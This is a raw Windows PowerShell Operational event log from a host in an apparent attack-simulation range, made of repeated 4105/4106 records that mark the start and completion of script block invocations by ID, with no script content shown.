Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027453
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027452
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027451
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027450
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027449
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027448
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027447
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027446
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027445
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027444
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027443
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027442
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027441
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027440
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027439
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027438
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027437
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027436
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027435
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027434
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027433
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027432
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027431
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027430
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027429
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027428
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027427
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027426
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027425
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027424
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027423
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027422
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027421
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027420
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027419
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027418
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027417
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027416
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027415
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027414
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027413
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027412
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027411
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027410
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027409
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027408
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027407
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027406
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027405
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027404
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027403
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027402
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027401
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027400
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
